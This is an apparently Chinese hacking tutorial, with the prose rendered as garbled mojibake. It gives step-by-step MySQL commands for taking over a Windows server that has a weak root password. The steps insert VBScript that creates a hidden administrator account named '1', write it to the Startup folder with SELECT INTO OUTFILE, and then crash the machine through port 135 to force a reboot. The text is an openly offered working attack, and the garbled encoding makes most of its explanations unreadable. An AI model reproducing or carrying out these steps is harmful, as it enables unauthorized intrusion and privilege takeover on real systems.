ºìÁªLinuxÃÅ»§
Linux°ïÖú

MYSQLÓû§rootÃÜÂëΪÈõ¿ÚÁîÓÖÒ»¹¥»÷·½·¨

·¢²¼Ê±¼ä:2008-02-06 00:01:23À´Ô´:ºìÁª×÷Õß:SMuonon
1¡¢Á¬½Óµ½¶Ô·½MYSQL ·þÎñÆ÷
mysql -u root -h 192.168.0.1
mysql.exe Õâ¸ö³ÌÐòÔÚÄã°²×°ÁËMYSQLµÄµÄBINĿ¼ÖÐ

2¡¢ÈÃÎÒÃÇÀ´¿´¿´·þÎñÆ÷ÖÐÓÐЩʲôÊý¾Ý¿â
mysql>show databases;
MYSQLĬÈÏ°²×°Ê±»áÓÐMYSQL¡¢TESTÕâÁ½¸öÊý¾Ý¿â£¬Èç¹ûÄã¿´µ½ÓÐÆäËüµÄÊý¾Ý¿âÄÇô¾ÍÊÇÓû§×Ô½¨µÄÊý¾Ý¿â¡£

3¡¢ÈÃÎÒÃǽøÈëÊý¾Ý¿â
mysql>use test;
ÎÒÃǽ«»á½øÈëtestÊý¾Ý¿âÖÐ

4¡¢²é¿´ÎÒÃǽøÈëÊý¾Ý¿âÖÐÓÐЩʲôÊý¾Ý±í
mysql>show tables;
ĬÈϵÄÇé¿öÏ£¬testÖÐûÓÐÈκαíµÄ´æÔÚ¡£
ÒÔÏÂΪ¹Ø¼üµÄ²¿·Ö

5¡¢ÔÚTESTÊý¾Ý¿âÏ´´½¨Ò»¸öÐÂµÄ±í£»
mysql>create table a (cmd text);
ºÃÁË£¬ÎÒÃÇ´´½¨ÁËÒ»¸öÐÂµÄ±í£¬±íÃûΪa£¬±íÖÐÖ»´æ·ÅÒ»¸ö×ֶΣ¬×Ö¶ÎÃûΪcmd£¬ÎªtextÎı¾¡£

6¡¢ÔÚ±íÖвåÈëÄÚÈÝ
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0) " );
×¢ÒâË«ÒýºÅºÍÀ¨ºÅÒÔ¼°ºóÃæµÄ¡°0¡±Ò»¶¨ÒªÊäÈ룡ÎÒÃǽ«ÓÃÕâÈýÌõÃüÁîÀ´½¨Á¢Ò»¸öVBSµÄ½Å±¾³ÌÐò£¡

7¡¢ºÃÁË£¬ÏÖÔÚÎÒÃÇÀ´¿´¿´±íaÖÐÓÐЩʲô
mysql>select * from a;
ÎÒÃǽ«»á¿´µ½±íÖÐÓÐÈýÐÐÊý¾Ý£¬¾ÍÊÇÎÒÃǸոÕÊäÈëµÄÄÚÈÝ£¬È·ÈÏÄãÊäÈëµÄÄÚÈÝÎÞÎóºó£¬ÎÒÃÇÀ´µ½ÏÂÒ»²½

8¡¢Êä³ö±íΪһ¸öVBSµÄ½Å±¾Îļþ
mysql>select * from a into outfile "c:\\docume~1\\alluse~1\\¡¸¿ªÊ¼¡¹²Ëµ¥\\³ÌÐò\\Æô¶¯\\a.vbs";
ÎÒÃÇ°ÑÎÒÃDZíÖеÄÄÚÈÝÊäÈëµ½Æô¶¯×éÖУ¬ÊÇÒ»¸öVBSµÄ½Å±¾Îļþ£¡×¢Òâ¡°\"·ûºÅ¡£

9¡¢¿´µ½Õâ´ó¼Ò¿Ï¶¨ÖªµÀÁË£¬¾ÍÊÇÀûÓÃMYSQLÊä³öÒ»¸ö¿ÉÖ´ÐеÄÎļþ¶øÒÑ¡£ÎªÊ²Ã´²»ÓÃBATÄØ£¬ÒòΪÆô¶¯ÔËÐÐʱ»áÓÐÃ÷ÏÔµÄDOS´°¿Ú³öÀ´£¬¶øÓÃVBS½Å±¾Ôò¿ÉÒÔÍêÈ«Òþ²Ø´°¿ÚÇÒ²»»áÓдíÎóÌáʾ£¡±¾À´£¬Ó¦¸Ã»¹ÓÐÒ»¾äÍê³É½Å±¾ºó×Ô¶¯É¾³ý´Ë½Å±¾µÄ£¬µ«ÊÇÖÐÎÄĿ¼ʵÔÚÎÞ·¨´¦Àí£¬Ö»ÓÐ×÷°Õ£¡ºÃÁË£¬ÕÒ¸ö¹¤¾ß¹¥»÷135È÷þÎñÆ÷ÖØÆô°É£¬¼¸·ÖÖÓÒÔºóÄã¾ÍÊǹÜÀíÔ±ÁË¡£
ÎÄÕÂÆÀÂÛ

¹²ÓÐ 0 ÌõÆÀÂÛ